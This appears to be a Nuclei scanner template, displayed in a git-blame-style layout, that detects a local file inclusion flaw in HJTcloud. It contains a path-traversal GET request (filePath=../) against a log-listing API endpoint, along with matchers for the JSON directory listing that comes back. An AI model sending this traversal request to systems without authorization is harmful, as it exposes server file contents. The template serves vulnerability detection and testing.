2021-05-31 08:50:30 +00:00
|
|
|
id: hjtcloud-rest-arbitrary-file-read
|
2021-05-31 05:45:01 +00:00
|
|
|
|
|
|
|
info:
|
2022-08-05 13:57:51 +00:00
|
|
|
name: HJTcloud - Local File Inclusion
|
2021-05-31 05:45:01 +00:00
|
|
|
author: pikpikcu
|
2022-08-29 20:21:30 +00:00
|
|
|
severity: high
|
2022-08-05 13:57:51 +00:00
|
|
|
description: HJTcloud is vulnerable to local file inclusion.
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://mp.weixin.qq.com/s/w2pkj5ADN7b5uxe-wmfGbw
|
2022-08-05 13:57:51 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
|
|
cvss-score: 7.5
|
|
|
|
cwe-id: CWE-22
|
2021-05-31 08:49:23 +00:00
|
|
|
tags: hjtcloud,lfi
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 1
|
2021-05-31 05:45:01 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-05-31 05:45:01 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
2021-05-31 08:49:23 +00:00
|
|
|
- "{{BaseURL}}/him/api/rest/V1.0/system/log/list?filePath=../"
|
2021-05-31 05:45:01 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
words:
|
2021-06-01 10:38:41 +00:00
|
|
|
- '"name":'
|
|
|
|
- '"length":'
|
|
|
|
- '"filePath":'
|
|
|
|
- '"list":'
|
2021-05-31 08:49:23 +00:00
|
|
|
condition: and
|
2021-06-01 10:38:41 +00:00
|
|
|
part: body
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "application/json"
|
|
|
|
part: header
|
2021-05-31 05:45:01 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2022-08-05 13:57:51 +00:00
|
|
|
|
|
|
|
# Enhanced by mp on 2022/08/03
|